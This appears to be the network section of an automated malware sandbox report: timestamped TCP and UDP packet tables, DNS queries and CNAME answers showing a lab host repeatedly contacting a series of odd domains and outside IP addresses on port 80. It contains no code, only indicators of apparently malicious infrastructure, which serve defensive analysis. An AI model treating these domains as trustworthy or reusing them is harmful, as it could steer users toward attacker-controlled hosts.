Oct 24, 2024 15:19:54.218250036 CEST	50017	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:54.223937988 CEST	80	50017	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:54.227195024 CEST	50017	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:54.267066002 CEST	50017	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:54.273143053 CEST	80	50017	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:54.273277998 CEST	80	50017	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:55.188787937 CEST	80	50016	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:55.188858986 CEST	50016	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:55.190210104 CEST	80	50017	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:55.190262079 CEST	50017	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:55.771770954 CEST	50017	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:55.778510094 CEST	80	50017	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:56.807287931 CEST	50018	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:56.812741041 CEST	80	50018	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:56.812915087 CEST	50018	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:56.823652983 CEST	50018	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:56.829134941 CEST	80	50018	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:58.259280920 CEST	80	50018	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:58.261257887 CEST	50018	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:58.265065908 CEST	50018	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:58.270623922 CEST	80	50018	154.9.228.56	192.168.2.5
Oct 24, 2024 15:20:03.340779066 CEST	50019	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:03.346236944 CEST	80	50019	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:03.346309900 CEST	50019	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:03.357672930 CEST	50019	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:03.363338947 CEST	80	50019	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:04.158130884 CEST	80	50019	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:04.161070108 CEST	50019	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:04.865528107 CEST	50019	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:04.871078968 CEST	80	50019	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:05.884017944 CEST	50020	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:05.889652967 CEST	80	50020	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:05.890393972 CEST	50020	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:05.903089046 CEST	50020	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:05.908787966 CEST	80	50020	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:06.703927040 CEST	80	50020	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:06.704003096 CEST	50020	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:07.412703991 CEST	50020	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:07.418165922 CEST	80	50020	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:08.432030916 CEST	50021	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:08.437617064 CEST	80	50021	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:08.437699080 CEST	50021	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:08.450793982 CEST	50021	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:08.456163883 CEST	80	50021	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:08.456228018 CEST	80	50021	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:09.260472059 CEST	80	50021	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:09.260559082 CEST	50021	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:09.959316969 CEST	50021	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:09.964706898 CEST	80	50021	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:10.980468035 CEST	50022	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:11.080585003 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.080712080 CEST	50022	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:11.091556072 CEST	50022	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:11.096896887 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.897954941 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.897986889 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.898009062 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.898046970 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.898066044 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.898085117 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.898107052 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.898123026 CEST	50022	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:11.898231983 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.898252964 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:11.898281097 CEST	50022	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:11.898298025 CEST	50022	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:12.014879942 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:12.015156031 CEST	50022	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:12.019087076 CEST	50022	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:20:12.024568081 CEST	80	50022	84.32.84.32	192.168.2.5
Oct 24, 2024 15:20:17.043850899 CEST	50023	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:17.049238920 CEST	80	50023	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:17.049312115 CEST	50023	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:17.070478916 CEST	50023	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:17.075911045 CEST	80	50023	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:17.684076071 CEST	80	50023	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:17.685266972 CEST	50023	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:18.584408998 CEST	50023	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:18.589822054 CEST	80	50023	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:19.602773905 CEST	50024	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:19.608226061 CEST	80	50024	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:19.611624002 CEST	50024	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:19.623116016 CEST	50024	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:19.628669024 CEST	80	50024	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:20.242175102 CEST	80	50024	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:20.245208025 CEST	50024	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:21.131165028 CEST	50024	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:21.136693001 CEST	80	50024	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:22.149925947 CEST	50025	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:22.156754017 CEST	80	50025	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:22.156924963 CEST	50025	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:22.168350935 CEST	50025	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:22.173801899 CEST	80	50025	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:22.173837900 CEST	80	50025	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:22.794642925 CEST	80	50025	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:22.794697046 CEST	50025	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:23.679337025 CEST	50025	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:23.684798956 CEST	80	50025	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:24.696803093 CEST	50026	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:24.702414036 CEST	80	50026	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:24.702501059 CEST	50026	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:24.710629940 CEST	50026	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:24.716079950 CEST	80	50026	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:25.337759972 CEST	80	50026	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:25.338737965 CEST	80	50026	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:25.338793039 CEST	50026	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:25.340899944 CEST	50026	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:20:25.346215010 CEST	80	50026	3.33.130.190	192.168.2.5
Oct 24, 2024 15:20:30.633069992 CEST	50027	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:30.638619900 CEST	80	50027	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:30.638700962 CEST	50027	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:30.652751923 CEST	50027	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:30.658232927 CEST	80	50027	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:31.602010965 CEST	80	50027	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:31.649128914 CEST	50027	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:31.782744884 CEST	80	50027	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:31.785181046 CEST	50027	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:32.162771940 CEST	50027	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:33.181808949 CEST	50028	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:33.187463045 CEST	80	50028	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:33.187553883 CEST	50028	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:33.201466084 CEST	50028	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:33.207055092 CEST	80	50028	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:34.162050962 CEST	80	50028	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:34.211361885 CEST	50028	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:34.349688053 CEST	80	50028	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:34.351274967 CEST	50028	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:34.709332943 CEST	50028	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:35.728142023 CEST	50029	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:35.734914064 CEST	80	50029	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:35.737302065 CEST	50029	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:35.748178959 CEST	50029	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:35.755116940 CEST	80	50029	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:35.756756067 CEST	80	50029	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:36.713831902 CEST	80	50029	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:36.756154060 CEST	50029	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:36.903320074 CEST	80	50029	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:36.903381109 CEST	50029	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:37.256253958 CEST	50029	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:38.274858952 CEST	50030	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:38.281166077 CEST	80	50030	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:38.284230947 CEST	50030	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:38.291840076 CEST	50030	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:38.297527075 CEST	80	50030	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:39.252938032 CEST	80	50030	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:39.303019047 CEST	50030	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:39.441688061 CEST	80	50030	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:39.441787958 CEST	50030	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:39.443341017 CEST	50030	80	192.168.2.5	129.226.176.90
Oct 24, 2024 15:20:39.448689938 CEST	80	50030	129.226.176.90	192.168.2.5
Oct 24, 2024 15:20:44.469130993 CEST	50031	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:44.474471092 CEST	80	50031	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:44.474594116 CEST	50031	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:44.486295938 CEST	50031	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:44.491750002 CEST	80	50031	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:45.318584919 CEST	80	50031	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:45.365531921 CEST	50031	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:45.442670107 CEST	80	50031	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:45.442728043 CEST	50031	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:45.998712063 CEST	50031	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:47.009182930 CEST	50032	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:47.014792919 CEST	80	50032	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:47.014955044 CEST	50032	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:47.026241064 CEST	50032	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:47.031682014 CEST	80	50032	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:47.869518995 CEST	80	50032	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:47.912708998 CEST	50032	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:47.996593952 CEST	80	50032	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:47.996871948 CEST	50032	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:48.537535906 CEST	50032	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:49.555982113 CEST	50033	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:49.561374903 CEST	80	50033	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:49.561522007 CEST	50033	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:49.572637081 CEST	50033	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:49.578080893 CEST	80	50033	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:49.578188896 CEST	80	50033	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:50.406546116 CEST	80	50033	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:50.459325075 CEST	50033	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:50.530824900 CEST	80	50033	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:50.530924082 CEST	50033	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:51.084429026 CEST	50033	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:52.102951050 CEST	50034	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:52.108429909 CEST	80	50034	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:52.108540058 CEST	50034	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:52.119189024 CEST	50034	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:52.124604940 CEST	80	50034	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:52.976507902 CEST	80	50034	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:53.021800995 CEST	50034	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:53.090090036 CEST	80	50034	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:53.090205908 CEST	50034	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:53.091113091 CEST	50034	80	192.168.2.5	213.249.67.10
Oct 24, 2024 15:20:53.096467018 CEST	80	50034	213.249.67.10	192.168.2.5
Oct 24, 2024 15:20:58.131124973 CEST	50035	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:20:58.136524916 CEST	80	50035	67.223.117.169	192.168.2.5
Oct 24, 2024 15:20:58.139480114 CEST	50035	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:20:58.155334949 CEST	50035	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:20:58.160892963 CEST	80	50035	67.223.117.169	192.168.2.5
Oct 24, 2024 15:20:58.821808100 CEST	80	50035	67.223.117.169	192.168.2.5
Oct 24, 2024 15:20:58.859822035 CEST	80	50035	67.223.117.169	192.168.2.5
Oct 24, 2024 15:20:58.859899044 CEST	50035	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:20:59.662534952 CEST	50035	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:00.681734085 CEST	50036	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:00.687299013 CEST	80	50036	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:00.687391043 CEST	50036	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:00.708987951 CEST	50036	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:00.714467049 CEST	80	50036	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:01.359957933 CEST	80	50036	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:01.398641109 CEST	80	50036	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:01.398710012 CEST	50036	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:02.227374077 CEST	50036	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:03.244431019 CEST	50037	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:03.250036001 CEST	80	50037	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:03.250124931 CEST	50037	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:03.269017935 CEST	50037	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:03.274823904 CEST	80	50037	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:03.274856091 CEST	80	50037	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:04.309240103 CEST	80	50037	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:04.347747087 CEST	80	50037	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:04.347829103 CEST	50037	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:04.771969080 CEST	50037	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:05.790678024 CEST	50038	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:05.796598911 CEST	80	50038	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:05.796704054 CEST	50038	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:05.803985119 CEST	50038	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:05.810234070 CEST	80	50038	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:06.469444990 CEST	80	50038	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:06.507708073 CEST	80	50038	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:06.507895947 CEST	50038	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:06.508795023 CEST	50038	80	192.168.2.5	67.223.117.169
Oct 24, 2024 15:21:06.515101910 CEST	80	50038	67.223.117.169	192.168.2.5
Oct 24, 2024 15:21:14.628403902 CEST	50039	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:21:14.634057045 CEST	80	50039	129.226.56.200	192.168.2.5
Oct 24, 2024 15:21:14.634135008 CEST	50039	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:21:14.642524004 CEST	50039	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:21:14.648108006 CEST	80	50039	129.226.56.200	192.168.2.5
Oct 24, 2024 15:21:15.608798027 CEST	80	50039	129.226.56.200	192.168.2.5
Oct 24, 2024 15:21:15.678138971 CEST	50039	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:21:15.793620110 CEST	80	50039	129.226.56.200	192.168.2.5
Oct 24, 2024 15:21:15.793848991 CEST	50039	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:21:15.794583082 CEST	50039	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:21:15.800344944 CEST	80	50039	129.226.56.200	192.168.2.5
Oct 24, 2024 15:21:21.290157080 CEST	50040	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:21:21.297703981 CEST	80	50040	162.0.215.33	192.168.2.5
Oct 24, 2024 15:21:21.297807932 CEST	50040	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:21:21.307502985 CEST	50040	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:21:21.312902927 CEST	80	50040	162.0.215.33	192.168.2.5
Oct 24, 2024 15:21:21.986254930 CEST	80	50040	162.0.215.33	192.168.2.5
Oct 24, 2024 15:21:21.986274958 CEST	80	50040	162.0.215.33	192.168.2.5
Oct 24, 2024 15:21:21.986285925 CEST	80	50040	162.0.215.33	192.168.2.5
Oct 24, 2024 15:21:21.986299992 CEST	80	50040	162.0.215.33	192.168.2.5
Oct 24, 2024 15:21:21.986314058 CEST	80	50040	162.0.215.33	192.168.2.5
Oct 24, 2024 15:21:21.986342907 CEST	50040	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:21:21.986470938 CEST	50040	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:21:22.024185896 CEST	80	50040	162.0.215.33	192.168.2.5
Oct 24, 2024 15:21:22.024257898 CEST	50040	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:21:22.818809032 CEST	50040	80	192.168.2.5	162.0.215.33

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 15:17:32.984894037 CEST	65001	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:17:33.734946966 CEST	53	65001	1.1.1.1	192.168.2.5
Oct 24, 2024 15:17:49.961872101 CEST	63722	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:17:49.976183891 CEST	53	63722	1.1.1.1	192.168.2.5
Oct 24, 2024 15:18:03.337460995 CEST	64986	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:18:03.355448008 CEST	53	64986	1.1.1.1	192.168.2.5
Oct 24, 2024 15:18:16.870012045 CEST	57305	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:18:16.896651983 CEST	53	57305	1.1.1.1	192.168.2.5
Oct 24, 2024 15:18:31.462186098 CEST	49787	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:18:31.481498003 CEST	53	49787	1.1.1.1	192.168.2.5
Oct 24, 2024 15:18:44.781260014 CEST	56191	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:18:44.810873032 CEST	53	56191	1.1.1.1	192.168.2.5
Oct 24, 2024 15:18:58.260027885 CEST	60079	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:18:58.278000116 CEST	53	60079	1.1.1.1	192.168.2.5
Oct 24, 2024 15:19:06.354254007 CEST	50039	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:19:06.556608915 CEST	53	50039	1.1.1.1	192.168.2.5
Oct 24, 2024 15:19:20.150219917 CEST	61343	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:19:20.198770046 CEST	53	61343	1.1.1.1	192.168.2.5
Oct 24, 2024 15:19:33.995348930 CEST	63650	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:19:34.010365963 CEST	53	63650	1.1.1.1	192.168.2.5
Oct 24, 2024 15:19:48.212110996 CEST	51655	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:19:48.978600979 CEST	53	51655	1.1.1.1	192.168.2.5
Oct 24, 2024 15:20:03.275454044 CEST	57610	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:20:03.338252068 CEST	53	57610	1.1.1.1	192.168.2.5
Oct 24, 2024 15:20:17.027053118 CEST	65318	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:20:17.039882898 CEST	53	65318	1.1.1.1	192.168.2.5
Oct 24, 2024 15:20:30.357108116 CEST	58708	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:20:30.629791021 CEST	53	58708	1.1.1.1	192.168.2.5
Oct 24, 2024 15:20:44.447115898 CEST	57008	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:20:44.466593981 CEST	53	57008	1.1.1.1	192.168.2.5
Oct 24, 2024 15:20:58.105468988 CEST	51770	53	192.168.2.5	1.1.1.1
Oct 24, 2024 15:20:58.128691912 CEST	53	51770	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 15:17:32.984894037 CEST	192.168.2.5	1.1.1.1	0x7597	Standard query (0)	www.dxfwrc2h.sbs	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:17:49.961872101 CEST	192.168.2.5	1.1.1.1	0xfc23	Standard query (0)	www.nieuws-july202491.sbs	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:03.337460995 CEST	192.168.2.5	1.1.1.1	0xac32	Standard query (0)	www.putizhong.homes	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:16.870012045 CEST	192.168.2.5	1.1.1.1	0xcd5a	Standard query (0)	www.coba168.info	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:31.462186098 CEST	192.168.2.5	1.1.1.1	0xb1d3	Standard query (0)	www.everyone.golf	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:44.781260014 CEST	192.168.2.5	1.1.1.1	0xf02a	Standard query (0)	www.royapop.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:58.260027885 CEST	192.168.2.5	1.1.1.1	0x465c	Standard query (0)	www.jy58gdwf7t.skin	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:06.354254007 CEST	192.168.2.5	1.1.1.1	0x41ce	Standard query (0)	www.b-ambu.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:20.150219917 CEST	192.168.2.5	1.1.1.1	0x9280	Standard query (0)	www.livpure-grab.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:33.995348930 CEST	192.168.2.5	1.1.1.1	0xdc27	Standard query (0)	www.bandukchi.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:48.212110996 CEST	192.168.2.5	1.1.1.1	0x286	Standard query (0)	www.mcse.top	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:03.275454044 CEST	192.168.2.5	1.1.1.1	0xcc55	Standard query (0)	www.voidzero.tech	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:17.027053118 CEST	192.168.2.5	1.1.1.1	0x7ba9	Standard query (0)	www.huwin.club	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:30.357108116 CEST	192.168.2.5	1.1.1.1	0x3339	Standard query (0)	www.xueerr.xyz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:44.447115898 CEST	192.168.2.5	1.1.1.1	0x25cf	Standard query (0)	www.onlineblikje.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:58.105468988 CEST	192.168.2.5	1.1.1.1	0x698a	Standard query (0)	www.rtpsilva4d.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 15:17:33.734946966 CEST	1.1.1.1	192.168.2.5	0x7597	No error (0)	www.dxfwrc2h.sbs	b1-3-r11-gmhudx.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:17:33.734946966 CEST	1.1.1.1	192.168.2.5	0x7597	No error (0)	b1-3-r11-gmhudx.t9d2quy5.shop	b1-3-r11.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:17:33.734946966 CEST	1.1.1.1	192.168.2.5	0x7597	No error (0)	b1-3-r11.t9d2quy5.shop	b1-3-r111-s65psj.8uqm5xgy.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:17:33.734946966 CEST	1.1.1.1	192.168.2.5	0x7597	No error (0)	b1-3-r111-s65psj.8uqm5xgy.shop	b1-3-r11-nff52.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
